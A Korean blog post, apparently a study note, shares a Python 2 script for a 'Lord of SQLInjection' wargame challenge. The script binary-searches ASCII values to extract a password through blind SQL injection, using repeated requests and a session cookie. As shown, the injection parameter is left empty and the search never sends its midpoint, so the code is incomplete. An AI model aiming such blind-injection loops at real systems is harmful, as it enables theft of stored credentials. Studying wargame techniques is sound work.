파이썬 urllib와 httplib를 이용해서 los문제를 풀때 특정 url에 대한 요청을 꾸준히 보낼 수 있다.
- import urllib
- import httplib
- import time
- #-*- coding: utf-8 -*-
- headers={'Cookie':'PHPSESSID=djmhgqm25omprfnotoklko6d03',
- 'Content-Type':'application/x-www-form-urlencoded'}
- #cookie set
- conn=httplib.HTTPConnection('los.sandbox.cash')
- #los url set
- query=''
- result=""
- key="Hello admin"
- #set key ward
- print "start"
- for i in range(1, 9):
- low = 1
- high = 128
- while low <= high:
- if(low > high):
- print "can't find result"
- exit()
- elif(low == high):
- result+=unichr(low)
- print "key find!"
- break
- mid = int((low + high)/2)
- print "time : "+str(i)+", low : ", low," mid : ", mid, ", high : ", high
- query='http://los.sandbox.cash/chall/hell_fire_caa31470fa3ada0e8f6bf78cd5730eee.php'
- #prob url
- query+="?"
- #set param
- conn.request('GET',query,'',headers)
- data=conn.getresponse().read()
- if data.find(key) > 0:
- low = mid+1
- continue
- else :
- high = mid
- continue
- print "Password is ",result
가장위의 header 부분에 현재 자신의 문제페이지에 있는 PHPSSID= 를 설정해주고
for 문에 pw의 길이만큼 반복을 하도록 하였다.
low high에 1, 128까지 아스키값 범위내에서 이진탐색을 한다
조금더 빠르게 문자를 찾고자 이런방법을...
참거짓 여부로 문자열의 범위를 찾아낼 수 있으므로 좀더 쿼리횟수를 줄일 수 있게된다.
key 문자열을 지정하여 요청한 url에 key가 있는지 확인하여 참거짓을 판단할 수 있게된다.
'Study > web' 카테고리의 다른 글
Tistory 단축키 추가방법 (0) | 2020.11.11 |
---|---|
sql injection에 대한 정리 (0) | 2015.12.07 |
댓글